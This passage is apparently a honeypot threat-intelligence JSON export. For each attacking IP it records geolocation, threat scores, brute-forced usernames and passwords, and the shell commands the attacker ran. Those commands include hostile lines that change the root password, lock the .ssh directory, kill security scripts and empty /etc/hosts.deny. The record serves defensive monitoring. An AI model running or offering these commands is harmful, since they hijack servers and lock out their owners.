        "123456",
        "54321",
        "888888",
        "admin123",
        "admin1234",
        "default",
        "e8ehome",
        "ftp",
        "hikvision",
        "ipdongle",
        "juantech",
        "postgres",
        "raspberry",
        "smcadmin",
        "supportadmin"
      ],
      "commands_executed": [
        "./",
        "echo SHELL_TEST",
        "/bin/busybox TEST",
        "cat /proc"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 35.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 350,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T10:01:23.051000+00:00",
        "last_seen_30d": "2026-05-28T13:22:46.797000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 249,
        "Suricata": 101
      }
    },
    "103.157.96.22": {
      "attack_count": 242,
      "first_seen": "2026-05-13T19:52:16.702Z",
      "last_seen": "2026-05-13T20:29:25.418Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZxsw2",
        "1980",
        "ABC123abc",
        "Abc12345",
        "Fujitsu",
        "QWERqwer!@#$1234",
        "admin@321",
        "asdqwe",
        "donald",
        "hello",
        "javier01",
        "lahai",
        "logger123",
        "mohajeri",
        "power123",
        "shadow@@@ubyta",
        "three4me",
        "topolina"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:TLgM6JQvUL1t\"|chpasswd|bash",
        "echo \"yzOeGur5kZbZ\\nEYpaQcwPXx1u\\nEYpaQcwPXx1u\\n\"|passwd",
        "echo -e \"yzOeGur5kZbZ\\nEYpaQcwPXx1u\\nEYpaQcwPXx1u\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 55688,
      "as_org": "PT. Beon Intermedia",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T19:52:16.702000+00:00",
        "last_seen_30d": "2026-05-13T20:30:25.811000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 242,
        "Suricata": 58
      }
    },
    "89.218.69.66": {
      "attack_count": 241,
      "first_seen": "2026-05-29T08:44:19.446Z",
      "last_seen": "2026-05-30T02:29:34.299Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "arch",
        "helen",
        "hello",
        "john",
        "sftpuser",
        "student2",
        "training",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12341234",
        "12345678",
        "12345678a",
        "123abc321",
        "123qwe,./",
        "1Q2w3e4r",
        "3edcVFR$",
        "Bismillah",
        "Huawei@12#$",
        "P@ssw0rd2020",
        "Password.123",
        "aaa123456",
        "arch",
        "fjbdfdjkdsfs541544",
        "helen123",
        "student2",
        "training"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:2q4iyOJEe0nF\"|chpasswd|bash",
        "echo \"root:jDNMK3Yte2tm\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Astana",
      "asn": 9198,
      "as_org": "JSC Kazakhtelecom",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T08:44:19.446000+00:00",
        "last_seen_30d": "2026-05-30T02:30:34.650000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 59
      }
    },
    "81.192.46.45": {
      "attack_count": 220,
      "first_seen": "2026-05-05T07:42:55.226Z",
      "last_seen": "2026-05-14T11:21:47.276Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "ansible",
        "devops",
        "ftp_test",
        "odoo",
        "test5"
      ],
      "passwords_attempted": [
        "123",
        "1980",
        "1QAZ@wsx",
        "1qaz2wsx!QAZ@WSX",
        "1qazXSW@#EDC",
        "1qazxsw23edcv",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc+123",
        "Admin@123",
        "Dd123456!",
        "Founder123",
        "He123456@",
        "P4$$w0rd",
        "P@ssw0rd",
        "P@ssw0rd2026~",
        "Root@123..",
        "abc123***",
        "abcdef",
        "admin123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:REXZhL78rrpu\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Rabat",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T07:42:55.226000+00:00",
        "last_seen_30d": "2026-05-14T11:22:50.817000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 220,
        "Suricata": 81
      }
    },
    "103.86.177.189": {
      "attack_count": 207,
      "first_seen": "2026-05-15T11:05:20.727Z",
      "last_seen": "2026-05-15T11:30:29.418Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dbus-helper",
        "linux",
        "pakchoi",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!qazxsw2",
        "1qaz@WSX3edc",
        "Kermit123@",
        "Welcome@1",
        "bella123",
        "casa",
        "gc$gL0b@l",
        "grower",
        "linux123",
        "p@ck3tf3nc3",
        "qwerzxcv",
        "squirt",
        "warnight",
        "zXXUKpvydMqzp1quBItn"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:GsD6Fc26bIOX\"|chpasswd|bash",
        "echo \"warnight\\n1HShAxtdTnPq\\n1HShAxtdTnPq\\n\"|passwd",
        "echo -e \"warnight\\n1HShAxtdTnPq\\n1HShAxtdTnPq\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 135222,
      "as_org": "MilesWeb Internet Services Pvt Ltd",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 248,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T11:05:20.727000+00:00",
        "last_seen_30d": "2026-05-15T11:31:30.989000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 207,
        "Suricata": 41
      }
    },
    "123.253.162.254": {
      "attack_count": 144,
      "first_seen": "2026-05-24T03:40:24.229Z",
      "last_seen": "2026-05-24T04:51:02.605Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "stud1",
        "345gs5662d34",
        "admin",
        "afzal",
        "alpha",
        "jose",
        "misp",
        "morteza",
        "public",
        "schueler",
        "sysadmin",
        "yaroslav"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "1QAZ2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin_1234",
        "afzal@123",
        "misp",
        "q1234567",
        "qwe123asd",
        "qwerty",
        "schueler",
        "stud1",
        "sysadmin@2023",
        "ubuntu18svm"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"stud1\\nLkltG9vDpODG\\nLkltG9vDpODG\\n\"|passwd",
        "echo -e \"stud1\\nLkltG9vDpODG\\nLkltG9vDpODG\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bhopal",
      "asn": 45117,
      "as_org": "Ishans Network",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 191,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T03:40:24.229000+00:00",
        "last_seen_30d": "2026-05-24T04:52:05.446000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 47
      }
    },
    "103.183.62.2": {
      "attack_count": 126,
      "first_seen": "2026-05-17T20:38:31.782Z",
      "last_seen": "2026-05-17T20:43:15.941Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "f00tb@ll",
        "zaqwsx"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:6QJxHddldA22\"|chpasswd|bash",
        "echo \"root:BH3GsBVqSsEt\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 149636,
      "as_org": "Hasan Broadband Net",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T20:38:31.782000+00:00",
        "last_seen_30d": "2026-05-17T20:44:16.474000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 126,
        "Suricata": 5
      }
    },
    "109.244.96.105": {
      "attack_count": 111,
      "first_seen": "2026-05-29T18:34:59.341Z",
      "last_seen": "2026-05-29T19:07:41.909Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "trung"
      ],
      "passwords_attempted": [
        "123abc!!!",
        "trung@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"trung@123\\nF7V2Z3bLpAHY\\nF7V2Z3bLpAHY\\n\"|passwd",
        "echo -e \"trung@123\\nF7V2Z3bLpAHY\\nF7V2Z3bLpAHY\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Chongqing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T18:34:59.341000+00:00",
        "last_seen_30d": "2026-05-29T19:18:18.768000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 111,
        "Suricata": 35
      }
    },
    "155.133.114.172": {
      "attack_count": 108,
      "first_seen": "2026-05-22T21:10:49.294Z",
      "last_seen": "2026-05-23T07:44:25.974Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Karlino",
      "asn": 197592,
      "as_org": "iNET Media Group sp z o.o.",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 169,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:10:49.294000+00:00",
        "last_seen_30d": "2026-05-23T07:45:26.730000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 61
      }
    },
    "190.52.55.104": {
      "attack_count": 100,
      "first_seen": "2026-05-18T21:52:00.726Z",
      "last_seen": "2026-05-19T06:18:16.425Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "Sucre",
      "asn": 262161,
      "as_org": "COTES Ltda.",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:52:00.726000+00:00",
        "last_seen_30d": "2026-05-19T06:19:21.999000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 56
      }
    },
    "144.48.130.83": {
      "attack_count": 98,
      "first_seen": "2026-05-02T00:32:06.434Z",
      "last_seen": "2026-05-02T00:37:37.921Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:32:06.434000+00:00",
        "last_seen_30d": "2026-05-02T00:38:47.057000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 50
      }
    },
    "181.116.220.140": {
      "attack_count": 93,
      "first_seen": "2026-05-29T21:51:19.764Z",
      "last_seen": "2026-05-29T22:38:56.262Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user1",
        "345gs5662d34",
        "jarservice",
        "prometheus",
        "sftpuser",
        "tony",
        "ubuntu",
        "vpn"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "1qaz)OKM",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin!@123",
        "Password22",
        "Qaz123qaz",
        "Root@2021",
        "Woaini1314",
        "admin",
        "alfonso",
        "prometheus",
        "qqq",
        "tony123",
        "ubuntu@123",
        "vpnvpn"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "La Plata",
      "asn": 11664,
      "as_org": "Techtel LMDS Comunicaciones Interactivas S.A.",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T21:51:19.764000+00:00",
        "last_seen_30d": "2026-05-29T22:40:04.659000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 42
      }
    },
    "180.76.176.249": {
      "attack_count": 92,
      "first_seen": "2026-05-29T12:56:31.088Z",
      "last_seen": "2026-05-29T13:10:33.494Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test1",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1qaz@wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "Lxj123456",
        "test1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:JwnnSFSHQsmh\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 31.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T12:56:31.088000+00:00",
        "last_seen_30d": "2026-05-29T13:20:40.512000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 22
      }
    },
    "180.191.36.99": {
      "attack_count": 74,
      "first_seen": "2026-05-23T08:33:44.342Z",
      "last_seen": "2026-05-23T14:01:14.899Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cabanatuan City",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:33:44.342000+00:00",
        "last_seen_30d": "2026-05-23T14:02:23.576000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 74,
        "Suricata": 37
      }
    },
    "34.62.178.19": {
      "attack_count": 71,
      "first_seen": "2026-05-15T07:10:25.673Z",
      "last_seen": "2026-05-15T07:11:06.118Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 3469",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T07:10:25.673000+00:00",
        "last_seen_30d": "2026-05-15T07:12:15.357000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "51.210.15.158": {
      "attack_count": 54,
      "first_seen": "2026-05-05T02:08:25.976Z",
      "last_seen": "2026-05-31T15:36:49.722Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 52.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
